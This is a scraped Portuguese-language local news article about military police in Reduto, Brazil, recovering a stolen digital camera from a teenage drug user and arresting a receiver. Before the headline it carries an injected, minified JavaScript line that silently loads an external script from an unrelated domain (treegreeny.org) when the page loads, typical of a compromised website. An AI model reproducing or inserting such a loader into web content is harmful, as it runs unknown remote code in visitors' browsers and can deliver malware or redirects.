;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Polícia Militar de Reduto recupera câmera digital. - Portal Carangola

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Polícia Militar de Reduto recupera câmera digital.

Guarnição composta pelos militares Soldado Cyro e Soldado Duarte receberam informação da própria vítima dando conta que o menor L.M.F., 17 anos, teria furtado sua câmera fotográfica digital.
Tal menor é conhecido usuário de drogas na cidade, já tendo sido conduzido apreendido outras vezes pela PM de Reduto por fatos semelhantes como uso de drogas e furto para manter o vício.
A mãe de L. afirmou que prefere ver o filho preso do que morto.
Diga-se de passagem: a vítima afirmou que até o fato era o melhor amigo do infrator, tendo já providenciado e investido esforços e meios próprios para que o menor estivesse se recuperando na clínica AMAR em Divino-MG, todavia, ele abandonou tal casa dizendo que não gostou do modo de tratamento do local, que incluiria atividades leves como plantar hortas, lavar pratos e outras do gênero.
De posse das informações, a guarnição empenhou-se em rastreamento a fim de localizar e abordar o menor “em conflito com a lei”.
Rapidamente, L. foi localizado.
Questionado, confessou ser quem furtou a câmera de seu amigo, quando o mesmo deixou ele entrar em sua casa (baseado no Art.155,§4º,inciso II, do vigente Código Penal Brasileiro Decreto-Lei 2.848/1940, pelo menos na teoria: crime de “Furto Qualificado com Abuso de Confiança”) e, utilizou a câmera para pagar dívidas de drogas.
A câmera foi repassada ao cidadão conhecido por Gustavo “Boy”, indivíduo com denúncias de ser traficante (Art. 33 da Lei nº 11.343 “Lei de Drogas”).
Este foi localizado e apresentou a câmera dizendo que recebeu-a por R$50,00.
Gustavo foi preso em flagrante, por receptação (Art. 180 do já citado Código Penal Brasileiro)
A vítima apresentou a nota fiscal que coincidiu com as características e código serial da câmera.
Todos os envolvidos foram apresentados a Delegacia de Polícia Civil em Manhuaçu.
Antes do fim do fechamento desta matéria, o menor citado que não ficou apreendido pelo furto da câmera, foi abordado e novamente apreendido desta vez junto com outro rapaz por uso e consumo de drogas (Art. 28 da Lei nº 11.343 “Lei de Drogas”).
Informação e fotos:Soldado Duarte – Destacamento Policial Militar de Reduto


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